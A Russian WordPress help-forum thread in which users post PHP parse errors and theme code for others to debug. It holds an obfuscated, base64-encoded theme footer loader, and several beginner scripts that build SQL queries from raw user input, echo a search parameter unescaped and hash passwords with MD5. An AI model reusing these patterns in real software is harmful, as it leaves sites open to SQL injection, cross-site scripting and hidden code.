Добрый день.
Установил новую тему, а внизу появилось:
Parse error: syntax error, unexpected $end in /sata1/home/users/travelreg/www/www.rest-turizm.ru/wp-content/themes/5thseason/footer.php on line 3
Как это можна исправить подскажите пожалуйста?
Добрый день.
Установил новую тему, а внизу появилось:
Parse error: syntax error, unexpected $end in /sata1/home/users/travelreg/www/www.rest-turizm.ru/wp-content/themes/5thseason/footer.php on line 3
Как это можна исправить подскажите пожалуйста?
киньте код из footer.php
Извините, если можна конкретней, я новенький в этих вещах плохо понимаю, какой код и где его взять?
Помогите пожалуйста!
wp-content/themes/5thseason заходите в эту папку по данному пути, там будет файл footer.php, открываете блокнот и, нажав на левую кнопку мышки и держа ее, перетаскиваете этот файл в блокнот, там выделяете код и нажимаете ctrl+c (либо, если по-человечески, "копируете"), после этого здесь на форуме в посте кидаете этот код.
Сделал, вот:
<!– The footer is encrypted to protect original authors’ credits. If you remove the line below, theme won’t work anymore. Removing credits to theme’s designer is strictly prohibited. Thank you and enjoy using the 5th Season Theme.–>
<?php $_F=__FILE__;$_X=’Pz48ZDR2IGNsMXNzPSJmMjJ0NXIiPg0KPGQ0diBjbDFzcz0iZjIydDVyX3R4dCI+DQo8L2Q0dj4NCjxwIDFsNGduPSJjNW50NXIiPg0KPGJyIC8+DQo8ZjJudCBjMmwycj0iIzAwMCI+PDEgaHI1Zj0iaHR0cDovL3d3dy50MnB0M3QuYzJtIj5pdGggUzUxczJuPC8xPiBUaDVtNSBieSA8MSBocjVmPSJodHRwOi8vd3d3LnQycHQzdC5jMm0iPg0KTDJyNWw1NDwvMT4gZDVzNGduNWQgZjJyIDwxIGhyNWY9Imh0dHA6Ly93d3cuMm1uNHMuYzJtIj5XNWIgSDJzdDRuZzwvMT4NCg0KIHwgQzJkNWQgYnkNCiA8MSBocjVmPSJodHRwOi8vd3d3LnIxdDVteWgyc3QuYzJtLyI+Q2g1MXAgVzViIEgyc3Q0bmc8LzE+IDFuZCA8MSBocjVmPSJodHRwOi8vd3d3Lnc1Ymgyc3Q0bmdwMWQuYzJtLyI+VzViIFM0dDUgSDJzdDRuZzwvMT48L2YybnQ+PC
Оказывается на ихнем сайте http://blogstyle.ru/page/3 она вторая с верху, в этой теме тоже такой бок, в низу.
Мотет тема запорота?!
Файл footer.php с обрезанным хвостом. А жаль, симпотная темка.
Ладно, раз уж защитники своих прав не могут по-человечески их защитить, то и мы не будем слишком трепетно к ним относиться. Вот Вам footer.php
Это надо вставить вместо того, что там сейчас.
Большое спасибо!
о! Хелп ми…
Тоже есть проблемка…
Вот такая ошибка выходит…
Parse error: parse error, unexpected $ in /home/www/tatar/morefilms/wp-content/themes/morefilms/sidebar.php on line 36
И файл footer.php не отображаеться…
Просьба помощь…
ВОТ КОД sidebar.php:
Заранее спасибо 😉
P.S. Чуть не забыл…. Сайт http://morefilms.ru
В хвосте вместо
</li>
</ul>
</div>
должно быть что-то типа
</li>
<?php } ?>
</ul>
<?php endif; ?>
</div>
Спасибо! Помогло…
И еще вопрос… Извините конечно за назойливость… Но я пока нуб в ворпрессе…
Как сделать чтобы в разделах, например http://morefilms.ru/?cat=1 отображались посты как и на главной странице, а так же в поиске…
Заранее СПС 😉
Похоже, менять the_excerpt() на the_content() в соответствующих файлах шаблона.
Спасибо!!! 🙂
За последние 7 дней Ваш сайт для меня самая хорошая находка…
Еще один вопрос… и последний!
А как поставить навигацию снизу страницы… и сверху…
т.е. вместо назад и вперед чтобы просто страницы отображались, т.е. 1 | 2 | 3 …. и т.д.
Заранее спасибо если ответите..
Плагин wp-pagenavi
оффтоп. интересно, а за три правильно "угаданных" ответа будет приз? =)
Спасибо всем 😉
Этот форум лучший форум по WordPress…
Вот ошибка:
Parse error: syntax error, unexpected $end in Z:\home\localhost\www\Registratsija.php on line 166
А вот код, помогите пожалуйста=)
<?php
//Интерфейс пользователя
echo"<html>";
echo"<head>";
echo"<title>ShockStudio RegistrationModule</title>";
echo"<meta http-equiv=\"Content-Type\" Content=\"text/html;
charset=windows-1251\">";
echo"<meta name=\"Author\" Content=\"LoRd aka K.Karpenko\">";
echo"<meta name=\"owner\" Content=\"ShockStudio Team\">";
echo"</head>";
echo"<body onLoad=\"alert(‘All rights reserved !’)\">";
echo"<form action=\"\" method=\"post\" name=\"reg\">";
echo"<table style=\"width:400px; height:50px;border:1px;\"
align=\"center\">";
echo"<tr><td colspan=\"2\" style=\"text-align:center\">
Регистрационная форма</td></tr>";
echo"<tr><td>Ваш логин:</td><td><input
type=\"text\" name=\"login\"></td></tr>";
echo"<tr><td>Ваш пароль:</td><td><input
type=\"password\" name=\"passwd\"></td></tr>";
echo"<tr><td>Ваш email:</td><td><input
type=\"email\" name=\"email\"></td></tr>";
echo"<tr><td>Ваш IP:</td><td>".$_SERVER[‘REMOTE_ADDR’].
"</td></tr>";
echo"<tr><Td colspan=\"2\"><input type=\"submit\" name=\"reg\"
value=\"Далее\"></td></tr>";
echo"</table>";
echo"</form>";
//Если кнопка была нажата то проверяем данные
if(isset($_POST[‘reg’])) {
$login=$_POST[‘login’];
$passwd=$_POST[‘passwd’];
$email=$_POST[’email’];
$ip=$_SERVER[‘REMOTE_ADDR’];
if(trim($login)==”){
die("Вы не ввели логин !");
}
if(trim($passwd)==”) {
die("Вы не ввели пароль !");
}
if(trim($email)==”) {
die("Вы не ввели ваш EMAIL !");
}
//Проверяем валидность электронного адреса пользователя
if (!preg_match("/^[a-zA-Z0-9_\-.]+@(?:[a-zA-Z0-9_]{1,3})
+\.[a-zA-Z0-9_]{1,3})+(\.[a-zA-Z0-9_]{1,3})*/",$email)){
die("Ошибочный формат EMAIL-адреса !");
}
//Пароль не должен быть менее 3-х символов
if(strlen($passwd)<3) {
die("Длина пароля должна быть не менее 3-х символов !");
}
//Шифруем пароль
$passwd=md5($passwd);
//Соединение с БД
$conn_id=@mysql_connect("localhost","root","")
or die("Ошибка при подключении к БД!");
@mysql_select_db($conn_id);
//А пользователь ещё не зарегистрирован ?
$q=@mysql_query("SELECT id FROM `users` WHERE login=’".$login."’ OR
email=’".$email."’",$conn_id);
if(@mysql_error($conn_id)!=”) {
die("Ошибка в запросе к БД !");
}
if(@mysql_num_rows($q)!=0) {
die("Данный пользователь уже зарегистрирован !");
}
else {
unset($q);
//Регистрируем пользователя
$q=@mysql_query("INSERT into `users` VALUES(”,’".$login."’,’".$passwd.
"’,’".$email."’,’".$ip."’,’off’)",$conn_id);
if(@mysql_error($conn_id)!=”) {
die("Ошибка в запросе к БД!");
}
}
/**
*Начинаем процесс составления ХЕШ-подписи, для подтверждения личности
*пользователя при активации
**/
//Получаем логин пользователя в EMAIL-сети
$email_cnx=explode("@",$email);
//Формируем подпись
$checkSum=base64_encode(substr($login,0,3).$email_cnx[0].
md5($_SERVER[‘REMOTE_ADDR’]));
//Получаем временную метку
$date=time();
unset($q);
//Добавляем данные во временную таблицу
$q=@mysql_query("INSERT into `validate_temp` VALUES(”,’".$email."’,’".
$checkSum."’,’".$date."’)",$conn_id);
if(@mysql_error($conn_id)!=”) {
die("Ошибка в запросе к БД !");
}
//Сообщение зарегистрированному пользователю
$message="Сегодня в ".date("d.m.Y",$date)." на сайте ShockStudio.COM был зарегистрирован
пользователь с вашим email’ом. Поэтому вы получили данное письмо. Если вы не
регистрировались на нашем сайте, то попросту удалите данное письмо, а если
же это были вы то перейдите по нижеприведённой ссылке.
Аккаунт будет действителен до
".date("d.m.Y",mktime(0,0,0,date("d",$date)+
4,date("m",$date),date("Y",$date))).",
после чего аккаунт зарегистрировать будет невозможно!
Ссылка для активации: <a href=http://inetprog.info/%5C%22activate.php?checkSum=%22.$checkSum.%22&email=%22.$email.%22%5C%22>Перейти;
—————————–
С уважением администрация ShockStudio.COM
Email для контактов:<a href=\"http://inetprog.info/mailto:Ik1990@list.ru\">Ik1990@list.ru";
//Посылаем сообщение пользователю
@mail($email,"Активация аккаунта",$message,"Content-Type: text/html;
charset=windows-1251","From: robot@shockstudio.com");
@mysql_close();
echo"</body>";
echo"</html>"
?>
Да что ж за елки-зеленые, уважаемые Гуру, будьте добры:
Parse error: syntax error, unexpected ‘!’ in /home/…/public_html/wp-includes/functions.php on line 511
Код function.php:
506 foreach($post_links_temp[0- as $link_test) :
507 if ( !in_array($link_test, $pung) ) : // If we haven’t pung it already
508 $test = parse_url($link_test);
509 if ( isset($test[‘query’]) )
510 $post_links
= $link_test;
511 elseif (($test[‘path’- != ‘/’) && ($test[‘path’] != ”))
512 $post_links
= $link_test;
513 endif;
514 endforeach;
Заранее, спасибо!
Ой, увидел коммент в коде, не знаю правда, что он значит, но… Вообщем этот кусок кода вообще удалил и все заработало. Но все же очень хочу услышать коммент по этому поводу. Что случилось то?
Это мистика.
[code- D:\>php
<?
foreach($post_links_temp[0] as $link_test) :
if ( !in_array($link_test, $pung) ) : // If we haven’t pung it already
$test = parse_url($link_test);
if ( isset($test[‘query’]) )
$post_links
= $link_test;
elseif (($test[‘path’- != ‘/’) && ($test[‘path’] != ”))
$post_links
= $link_test;
endif;
endforeach;
?>
^Z
PHP Notice: Undefined variable: post_links_temp in D:\- on line 3
PHP Warning: Invalid argument supplied for foreach() in D:\- on line 3[/code]
Как видите, никаких синтаксических ошибок в приведенном коде нет.
Я с вами согласен. Удалил кусочек кода. Заработало. Импортировал все данные в т.ч. настройки. Работает – клево. Заменяю ради интереса functions.php назад. Работает! Прям чудеса из решета… =)
Привыкайте, это не такое уж редкое явление 😉
Parse error: syntax error, unexpected $end in /home/……/category.php on line 62
А вот сам код файла category.php
<?php get_header(); ?>
<div class="mp-single-bar"></div>
<!–Start Side Central (SC)–>
<div class="SC">
<!–Start Side Left–>
<div class="SL">
<?php if (have_posts()) : ?>
<?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
<?php /* If this is a category archive */ if (is_category()) { ?>
<h2 class="title">Архив категории ‘<strong><?php single_cat_title(); ?></strong>’</h2>
<?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
<h2 class="title">Теги постов ‘<strong><?php single_tag_title(); ?></strong>’</h2>
<?php /* If this is a daily archive */ } elseif (is_day()) { ?>
<h2 class="title">Aрхив <strong><?php the_time(‘F jS, Y’); ?></strong></h2>
<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
<h2 class="title">Архив <strong><?php the_time(‘F, Y’); ?></strong></h2>
<?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
<h2 class="title">Архив <strong><?php the_time(‘Y’); ?></strong></h2>
<?php /* If this is an author archive */ } elseif (is_author()) { ?>
<h2 class="title">Архив автора</h2>
<?php /* If this is a paged archive */ } elseif (isset($_GET[‘paged’]) && !empty($_GET[‘paged’])) { ?>
<h2 class="title">Архив блога</h2>
<?php } ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post" style="padding: 15px 0px;">
<div class="p-head">
<h3><a href="<?php the_permalink(); ?>"><?php the_title()?></a></h3>
<p class="p-date-cat"><?php the_time(‘F j, Y’) ?> | Категория: <?php the_category(‘, ‘) ?></p>
</div>
<div class="p-con">
<p><?php echo truncate($post->post_content,256); ?></p>
</div>
<ul class="p-det">
<li class="p-det-com"><?php comments_popup_link(‘Нет комментариев’, ‘<strong>(1)</strong> комментарий’, ‘<strong>(%)</strong> коммент.’); ?></li>
<li class="p-det-more"><a href="<?php the_permalink()?>">Читать дальше</a></li>
</ul>
</div>
<?php endwhile; ?>
<?php include("nav.php"); ?>
<?php else : ?>
<h1 class="title">Ошибка 404</h1>
<p style="color:#F30">Извините, но этой страницы не существует.</p>
<br />
<!–Start Side Right–>
<div class="SR">
<?php include ‘sidebar.php’; ?>
</div>
<!–End Side Right–>
</div>
<!–End Side Central (SC)–>
<?php get_footer(); ?>
Будьте добры, обьясните что не так.
Zdraste vsem:)
Ya novichok v php i ochen proshu pomoch:(
Pishu kod, vrode svo pravelno, no ne rabotaet pochemu-to
Vot kod:
<?php
include(‘db-settings.inc’);
$name = $_REQUEST[‘Name’];
//$director = $_REQUEST[‘director’];
$actName = $_REQUEST[‘actors’];
$pic = $_REQUEST[‘pic’];
$summ = $_REQUEST[‘summary’];
$genre = $_REQUEST[‘genre’];
$sqlqry = "INSERT INTO moviesdata(name, Actors, Pictures, Summary, genre) VALUES (‘$name’, ‘$actName’, ‘$pic’, ‘$summ’, ‘$genre’)";
echo $sqlqry;
mysql_query($sqlqry,$handle);
print_r ($_REQUEST);
function getRemoveMovies()
{
$removeMovies=<<<label
<div id="removeMoves">
Name:<input type="text">
<input type="submit" value="Remove">
</div>
label;
return $removeMovies;
}
function getMoviesList()
{
global $reply;
$moviesList=<<<label
<div id="moviesList" style="overflow: auto; max-height: 300px;">
<table border="1" width="100%" bgcolor="#9ed1f3">
label;
global $row;
while($row=mysql_fetch_row($reply))
{
$moviesList.= <<< lable
<tr>
<td>$row[5]</td>
<td>
<table border="1">
<tr>
<td><h2>$row[1]
<form action="remove.php?id=$row[0]" method="post" name="movieList">
<input type="checkbox" name="Delete" value="Delete">
<input type="submit" value="delete"></h2> </form>
</td>
</tr>
<tr>
<td><p class="p1">Actors:<br>
$row[2]
</td>
</tr>
<tr>
<td><p class="p2">Genere:<br>
$row[3]
</td>
</tr>
<tr>
<td>Summary:<br>
$row[4]
</td>
</tr>
</table>
</td>
</tr>
lable;
}
$moviesList.= <<< lable
</table>
</div>
lable;
return $moviesList;
function getMenu()
{
$menu=<<<label
<div id="menu">
<table width="" border="1" bgcolor="#b3f5ee">
<tr>
<th>Menu</th>
</tr>
<tr>
<td>
<ul type="disc">
<li>Comedy</li>
<li>Drama</li>
<li>Tragedy</li>
<li>Action</li>
<li>Annimation</li>
</ul>
</td>
</tr>
</table>
</div>
label;
return $menu;
}
function getSearch()
{
$search=<<<label
<div id="moviesSearch" >
<form action="search.php">
<input type="text" name="search" size="20">
<input type="submit" value="search">
</form>
</div>
label;
return $search;
}
function getHeaderDiv()
{
$header =<<< label
<div id="header" bgcolor="#d5b3f5">
<h1>Kayamovies.com</h1>
</div>
label;
return $header;
}
function getMainHtml()
{
$removeMovies=getRemoveMovies();
//$addMovies=getAddMovies();
$moviesList=getMoviesList();
$menu=getMenu();
$moviesSearch=getSearch();
$headerDiv = getHeaderDiv();
$mainHtml =<<< label
<?xml version="1.0" encoding="windows-1255" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1255" />
<title>Movies</title>
<script type="text/javascript">
//var name=filmName;
function addMovie()
{
var movieName = document.getElementById(‘movieName’).value;
var actors = document.getElementById(‘actors’).value;
var genere=document.getElementById(‘genere’).value;
var info=document.getElementById(‘info’).value;
if(movieName.length == 0)
{
alert(‘please enter movie name’);
return false;
}
if(actors.length == 0)
{
alert(‘please enter actors name’);
return false;
}
if(genere.length == 0)
{
alert(‘please enter genery’);
return false;
}
if(info.length == 0)
{
alert(‘please enter info’);
return false;
}
}
</script>
<style type="text/css">
h1 {font-size:20pt;color:navy;align:center;font-style:Verdana;}
h2 {font-size:18pt;color:red;font-style:David}
p.p1 {font-size:12pt;color:blue;font-style:David}
p.p2 {font-size:12pt;color:green;font-style:David}
</style></head>
<body bgcolor="#007ca4">
<table border="1" width="700" height="100%">
<tr>
<td colspan="2">
$headerDiv
</td>
</tr>
<tr>
<td style="vertical-align: top;">
<table>
<tr>
<td>
$moviesSearch
</td>
</tr>
<tr>
<td>
$menu
</td>
</tr>
</table>
</td>
<td valign="top">
$moviesList
</td>
</tr>
<tr>
<td height="50%">
$addMovies
</td>
<td>
$removeMovies
</td>
</tr>
</table>
</body>
</html>
label;
return $mainHtml;
}
$html = getMainHtml();
echo $html;
?>
Daet Sleduyushuu oshibku:
Parse error: syntax error, unexpected $end in F:\eclipsephp\movies\src\kayamovies.php on line 229
Pomogite pojaluista
Ребята, помогите, пожалуйста! Установил тему и выдает вот такое сообщение:
Parse error: syntax error, unexpected $end in C:\WEBSITE\xampp\htdocs\wordpress\wp-content\themes\reflection\functions.php on line 433
Вот сам код:
<?php
/**
* Functions which are common to all (or most) files in the theme. We
* also define things which make it much easier to create administration
* pages and deal with options.
*
* @package Reflection
*/
/**
* Prefix to use in option names. Should _not_ be changed.
*
* @global string $pfix
*/
$pfix = "reflection_";
/**
* Version number for use in the footer.
*
* @global string $vnum
*/
$vnum = "1.1";
/**
* Array of options we use in reflection.
*
* This is an array containing all the names and default values that we use for
* Reflection. Each element is also an array with three possible keys
*
* – type: Can be text, hidden, int or check
* – size: For int/text types, size of textfield.
* – value: For check types, either yes or no.
* – default: default value.
*
* @global array $options
*/
$options = array(
‘copyright’ => array(
‘type’ => ‘text’,
‘size’ => ’35’,
‘default’ => ”
),
‘copyright_year’ => array(
‘type’ => ‘text’,
‘size’ => ’30’,
‘default’ => ”
),
‘widthport’ => array(
‘type’ => ‘text’,
‘size’ => ’10’,
‘default’ => 450
),
‘widthland’ => array(
‘type’ => ‘text’,
‘size’ => ’10’,
‘default’ => 800
),
‘showrand’ => array(
‘type’ => ‘check’,
‘default’ => 1
),
‘mosaicsize’ => array(
‘type’ => ‘text’,
‘size’ => ’10’,
‘default’ => 100
),
‘mosaictips’ => array(
‘type’ => ‘check’,
‘default’ => 1
),
‘mosaicdesc’ => array(
‘type’ => ‘radio’,
‘default’ => 1,
‘values’ => array(
‘0’ => ‘Ascending’,
‘1’ => ‘Descending’
)
),
‘archivedisp’ => array(
‘type’ => ‘radio’,
‘default’ => 0,
‘values’ => array(
‘0’ => ‘None’,
‘1’ => ‘Tags’
)
),
‘submitted’ => array(
‘type’ => ‘hidden’,
‘value’ => ‘yes’
)
);
/**
* Array of option values. Each element of the array is the option
* value.
*
* @global array $values
*/
$values = array();
/**
* On administration pages, this is set to true after we have updated
* the options.
*
* @global bool $updateflag
*/
$updateflag = false;
/**
* For some reason, PHP doesn’t include the json_encode function
* before PHP5.2, so this is a replacement for compatibility reasons.
* Taken from php.net.
*/
if (!function_exists(‘json_encode’)) {
function json_encode($a=false) {
if (is_null($a)) return ‘null’;
if ($a === false) return ‘false’;
if ($a === true) return ‘true’;
if (is_scalar($a)) {
if (is_float($a)) {
// Always use "." for floats.
return floatval(str_replace(",", ".", strval($a)));
}
if (is_string($a)) {
static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", ‘"’), array(‘\\\\’, ‘\\/’, ‘\\n’, ‘\\t’, ‘\\r’, ‘\\b’, ‘\\f’, ‘\"’));
return ‘"’ . str_replace($jsonReplaces[0- , $jsonReplaces[1], $a) . ‘"’;
} else return $a;
}
$isList = true;
for ($i = 0, reset($a); $i < count($a); $i++, next($a)) {
if (key($a) !== $i) {
$isList = false;
break;
}
}
$result = array();
if ($isList) {
foreach ($a as $v) $result
= json_encode($v);
return ‘[‘ . join(‘,’, $result) . ‘- ‘;
} else {
foreach ($a as $k => $v) $result
= json_encode($k).’:’.json_encode($v);
return ‘{‘ . join(‘,’, $result) . ‘}’;
}
}
}
/**
* Generates a square thumbnail of an image.
*
* @param int $postID Post ID
* @return string Absolute URL pointing to generated thumbnail.
*/
function square_thumb($postID) {
global $pfix, $options;
// Grab YapbImage from the database depending upon the post ID.
$image = YapbImage::getInstanceFromDb($postID);
if (!$image)
return false;
if ($image->width > $image->height) {
$thumb_param = array(
‘sx=’.intval(($image->width – $image->height)/2),
‘sy=0’,
‘sw=’.$image->height,
‘sh=’.$image->height
);
} elseif ($image->width < $image->height) {
$thumb_param = array(
‘sx=0’,
‘sy=’.intval(($image->height – $image->width)/2),
‘sw=’.$image->width,
‘sh=’.$image->width
);
} else {
$thumb_param = array();
}
$height = get_opt_or_default(‘mosaicsize’);
array_push($thumb_param, ‘h=’.$height, ‘q=70’);
return $image->getThumbnailHref($thumb_param);
}
/**
* Get an option or fall-back on default value.
*
* Since WordPress doesn’t seem to have a registration hook for
* themes (akin to plugins), we use this function to avoid epic
* failure when looking up options.
*
* @param string $optname Option name
* @return mixed Option value from database or default
*/
function get_opt_or_default($optname) {
global $pfix, $options;
$opt = get_option($pfix.$optname);
return $opt === false ? $options[$optname][‘default’] : $opt;
}
/**
* Filter function to create the option page for Reflection.
*/
function reflection_add_pages() {
add_theme_page(‘Reflection Options’, ‘Reflection’, ‘edit_themes’, basename(__FILE__), ‘reflection_admin’);
}
/**
* Prints a data field defined in $options.
*
* @param string $name Field name
*/
function field_print($name) {
global $options, $values, $pfix;
if (!is_array($options[$name]))
return;
$value = $values[$name];
$fname = $pfix.$name;
switch ($options[$name][‘type’]) {
case ‘text’:
echo ‘<input type="text" name="’.$fname.’" value="’.$value.’" size="’.$options[$name][‘size’].’">’;
break;
case ‘hidden’:
echo ‘<input type="hidden" name="’.$fname.’" value="’.$options[$name][‘value’].’">’;
break;
case ‘check’:
echo ‘<input type="checkbox" name="’.$fname.’" value="1"’.($value ? ‘ checked="checked"’ : ”).’>’;
break;
case ‘radio’:
foreach ($options[$name][‘values’] as $k => $v)
echo ‘<input type="radio" name="’.$fname.’" value="’.$k.’"’.($value==$k ? ‘ checked="checked"’ : ”).’> ‘.$v.'<br />’;
break;
default:
break;
}
}
/**
* Sets up the administration page itself.
*/
function reflection_admin() {
global $updateflag;
echo ‘<div class="wrap">’;
echo ‘<h2>’.__(‘Reflection Options’).'</h2>’;
if ($updateflag) { ?><div class="updated"><p><strong><?php _e(‘Options saved.’); ?></strong></p></div><? }
?>
<form name="form1" method="post" action="<?php echo str_replace( ‘%7E’, ‘~’, $_SERVER[‘REQUEST_URI’]); ?>">
<?php field_print(‘submitted’);?>
<h3>General settings</h3>
<table class="form-table">
<tr>
<th scope="row" valign="top">Copyright holder</th>
<td>
<?php field_print(‘copyright’);?><br />
<span class="setting-description">Copyright holder of the images – i.e. your name. Leave blank if you don’t want the copyright notice.</span>
</td>
</tr>
<tr>
<th scope="row" valign="top">Copyright year range</th>
<td>
<?php field_print(‘copyright_year’);?></br />
<span class="setting-description">The year(s) over which you claim copyright: for example "2000", "2000-2009", "2000, 2001-2009" etc. If blank, current year will be used.</span>
</td>
</tr>
<tr>
<th scope="row" valign="top">Portrait image width</th>
<td>
<?php field_print(‘widthport’);?> px<br />
<span class="setting-description">Desired width in pixels of portrait images. Cannot be larger than 800px.</span>
</td>
</tr>
<tr>
<th scope="row" valign="top">Landscape image width</th>
<td>
<?php field_print(‘widthland’);?> px<br />
<span class="setting-description">Desired width in pixels of landscape images. Cannot be larger than 800px.</span>
</td>
</tr>
<tr>
<th scope="row" valign="top">Show <em>Random</em> page</th>
<td>
<?php field_print(‘showrand’);?>
<span class="setting-description">If true, then add a page called <em>Random</em> to the list which takes users to random images..</span>
</td>
</tr>
</table>
<h3>Mosaic configuration</h3>
<table class="form-table">
<tr>
<th scope="row" valign="top">Taxonomy display</th>
<td>
<?php field_print(‘archivedisp’);?>
<span class="setting-description">If you want to display photos by tag name as well as by date, then select the ‘tags’ option.</span>
</td>
</tr>
<tr>
<th scope="row" valign="top">Mosaic image size</th>
<td>
<?php field_print(‘mosaicsize’);?> px<br />
<span class="setting-description">Size of the square images shown in the mosaic.</span>
</td>
</tr>
<tr>
<th scope="row" valign="top">Show mosaic tooltips</th>
<td>
<?php field_print(‘mosaictips’);?>
<span class="setting-description">If enabled, tooltips will be shown as you hover over each image with the name, post date and number of comments.</span>
</td>
</tr>
<tr>
<th scope="row" valign="top">Post order</th>
<td>
<?php field_print(‘mosaicdesc’);?>
</td>
</tr>
</table>
<p class="submit">
<input type="submit" name="Submit" value="<?php _e(‘Update Options’, ‘mt_trans_domain’ ); ?>" />
</p>
</form>
<?php
}
/**
* Grabs a thumbnail from the database.
*
* @param bool $removeamps If true, replace XHTML ampersand with standard ampersand.
*/
function get_thumbnail($removeamps=false)
{
global $post;
$uri = $post->image->getThumbnailHref(array(‘w=’.im_dim(), ‘q=70’));
return $removeamps ? str_replace("&", "&", $uri) : $uri;
}
/**
* Determines the image width.
*/
function im_dim()
{
global $post;
if ($post->image->width > $post->image->height) {
$wl = get_opt_or_default(‘widthland’);
return $post->image->width > $wl ? $wl : $post->image->width;
} else {
$wp = get_opt_or_default(‘widthport’);
return $post->image->height > $wp ? $wp : $post->image->width;
}
}
/**
* Grabs EXIF information from the database.
*/
function get_exif()
{
global $post;
$exif_info = yapb_get_exif();
if (empty($exif_info))
return "No EXIF information available.";
$output = ‘<ul>’;
foreach ($exif_info as $k => $v)
$output .= ‘<li><label>’.$k.'</label>’.$v.'</li>’;
return $output.'</ul>’;
}
// ——————————————————————–
// End of functions
// ——————————————————————–
// If we’re in the administration panel, then set up all of our options
// and put the values in $values.
if (is_admin()) {
if ($_POST[$pfix.’submitted’] == ‘yes’) {
foreach (array_keys($options) as $opt) {
$val = $_POST[$pfix.$opt];
if ($options[$opt][‘type’] == ‘hidden’)
continue;
elseif ($options[$opt][‘type’] == ‘check’)
$val = $val ? 1 : 0;
update_option($pfix.$opt, $val);
$values[$opt] = $val;
}
$updateflag = true;
} else {
foreach (array_keys($options) as $opt) {
if ($options[$opt][‘type’] == ‘hidden’)
continue;
$values[$opt] = get_option($pfix.$opt);
// Set up default options
if ($values[$opt] === false) {
$values[$opt] = $options[$opt][‘default’];
add_option($pfix.$opt, $values[$opt]);
}
}
}
add_action(‘admin_menu’, ‘reflection_add_pages’);
}
/*
* If you want to filter your exif data by hand, then uncomment this
* and put the code in here.
*/
/*
function yapb_get_exif_filter($exif)
{
}
add_filter(‘yapb_get_exif’, ‘yapb_get_exif_filter’);
*/
?>
Спасибо заранее за помошь!
Добрый день!Помогите пожалуйста с кодом-
выдает Parse error: syntax error, unexpected $end in /home/mobnews/public_html/wp-content/themes/gravel/index.php on line 108
Скобки проверил…вроде норм все..хз че делать!!Оч прошу отозваться и помочь!
<?php
/**
* @package WordPress
* @subpackage Classic_Theme
*/
get_header();
?>
<?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
<?php /* If this is a category archive */ if (is_category()) { ?>
<h2 class="info">Archive for the ‘<?php single_cat_title(); ?>’ Category</h2>
<?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
<h2 class="info">Posts Tagged ‘<?php single_tag_title(); ?>’</h2>
<?php /* If this is a daily archive */ } elseif (is_day()) { ?>
<h2 class="info">Archive for <?php the_time(‘F jS, Y’); ?></h2>
<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
<h2 class="info">Archive for <?php the_time(‘F, Y’); ?></h2>
<?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
<h2 class="info">Archive for <?php the_time(‘Y’); ?></h2>
<?php /* If this is an author archive */ } elseif (is_author()) { ?>
<h2 class="info">Author Archive</h2>
<?php } elseif (is_404()) { ?>
<h2 class="info">Error 404 – Page not found…</h2>
<?php } elseif (is_search()) { ?>
<h2 class="info">You are searching on "<?php echo $_GET["s"]; ?>".</h2>
<?php /* If this is a paged archive */ } elseif (isset($_GET[‘paged’]) && !empty($_GET[‘paged’])) { ?>
<h2 class="info">Blog Archives</h2>
<?php } ?>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<?php if ( is_page() ) { } else { ?>
<h3 class="category">
<?php the_category(‘,’) ?>
</h3>
<?php }?>
<div class="post" id="post-<?php the_ID(); ?>">
<?php if ( is_page() ) { } else { ?>
<small class="date"><?php the_date(”,”,”); ?></small>
<?php }?>
<h1 class="storytitle"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h1>
<?php the_tags(__(‘<p class="tags">Tags: ‘), ‘, ‘, ‘</p>’); ?>
<?php edit_post_link(__(‘Edit This’), ‘<p><strong class="edit">’, ‘</strong></p>’); ?>
<div class="storycontent">
<?php
global $options;
foreach ($options as $value) {
if (get_settings( $value[‘id’] ) === FALSE) { $$value[‘id’] = $value[‘std’]; }
else { $$value[‘id’] = get_settings( $value[‘id’] ); }
} ?>
<?php
if($theme_excerpts=="Enable"){
if (is_single() || is_page() ) {
the_content(__(‘(more…)’));
} else {
the_excerpt(__(‘(more…)’));
}
}
elseif ($theme_excerpts=="Enable and show the rest of the post under the excerpt."){
the_excerpt(__(‘(more…)’));
the_content(__(‘(more…)’));
}
else {
the_content(__(‘(more…)’));
} ?>
</div>
<div class="feedback">
<?php wp_link_pages(); ?>
<a href="<?php the_permalink() ?>#respond" rel="bookmark"><?php comments_number(__(‘Comments (0)’), __(‘Comments (1)’), __(‘Comments (%)’)) . ‘</a>’; ?></a>
</div>
</div>
<?php comments_template(); // Get wp-comments.php template ?>
<?php endwhile; else: ?>
<div class="post">
<p><?php _e(‘Sorry, no posts matched your criteria. You might want to search?’); ?></p>
</div>
<p class="nav_link">
<?php posts_nav_link(‘ ‘, __(‘<span class="newer">« Newer Posts</span>’), __(‘<span class="older">Older Posts »</span>’));?>
</p>
<?php get_footer(); ?>
Привет всем.
WordPress 3.3.1
Тема Boldy http://nivo.dev7studios.com/
Хочу спросить – перестала работать страничка писало ошибку:
Parse error: syntax error, unexpected $end in /home/chikoc/public_html/istore.od.ua/wp-content/themes/boldy/functions.php on line 454
и вот код
<?php
/*******************************
MENUS SUPPORT
********************************/
if ( function_exists( ‘wp_nav_menu’ ) ){
if (function_exists(‘add_theme_support’)) {
add_theme_support(‘nav-menus’);
add_action( ‘init’, ‘register_my_menus’ );
function register_my_menus() {
register_nav_menus(
array(
‘main-menu’ => __( ‘Main Menu’ )
)
);
}
}
}
/* CallBack functions for menus in case of earlier than 3.0 WordPress version or if no menu is set yet*/
function primarymenu(){ ?>
<div id="mainMenu" class="ddsmoothmenu">
<ul>
<?php wp_list_pages(‘title_li=’); ?>
<?php wp_list_categories(‘hide_empty=1&exclude=1&title_li=’); ?>
</ul>
</div>
<?php }
/*******************************
